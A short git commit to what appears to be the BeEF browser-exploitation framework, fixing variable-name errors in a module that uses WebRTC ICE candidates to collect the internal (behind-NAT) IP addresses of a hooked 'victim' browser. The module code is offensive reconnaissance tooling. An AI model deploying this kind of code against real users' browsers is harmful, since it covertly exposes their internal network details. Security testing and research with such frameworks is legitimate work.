Fixed a few JS errors preventing the module from running. Tested on Edge 40 (Win10) and Chrome 58 (OSX)

This commit is contained in:
antisnatchor
2017-05-31 08:56:37 +02:00
parent 9589a70610
commit c3685fcdf7
2 changed files with 3 additions and 4 deletions

View File

@@ -21,12 +21,11 @@ beef.execute(function() {
"iceServers": [ ],
});
iceGatherer.onlocalcandidate = function (evt) {
if (oEvent.candidate.type) {
if (evt.candidate.type) {
// There may be multiple IP addresses
beef.debug(JSON.Stringify(evt.candidate));
if (evt.candidate.type == "host") {
// The ones marked "host" are local IP addresses
processIPs(oEvent.candidate.ip);
processIPs(evt.candidate.ip);
};
} else {
retResults();

View File

@@ -10,7 +10,7 @@ beef:
category: "Host"
name: "Get Internal IP WebRTC"
description: "Retrieve the internal (behind NAT) IP address of the victim machine using WebRTC Peer-to-Peer connection framework. Code from <a href='http://net.ipcalf.com/' target='_blank'>http://net.ipcalf.com/</a>"
authors: ["xntrik", "@natevw"]
authors: ["skylined", "xntrik", "@natevw"]
target:
working: ["C", "FF"]
not_working: ["ALL"]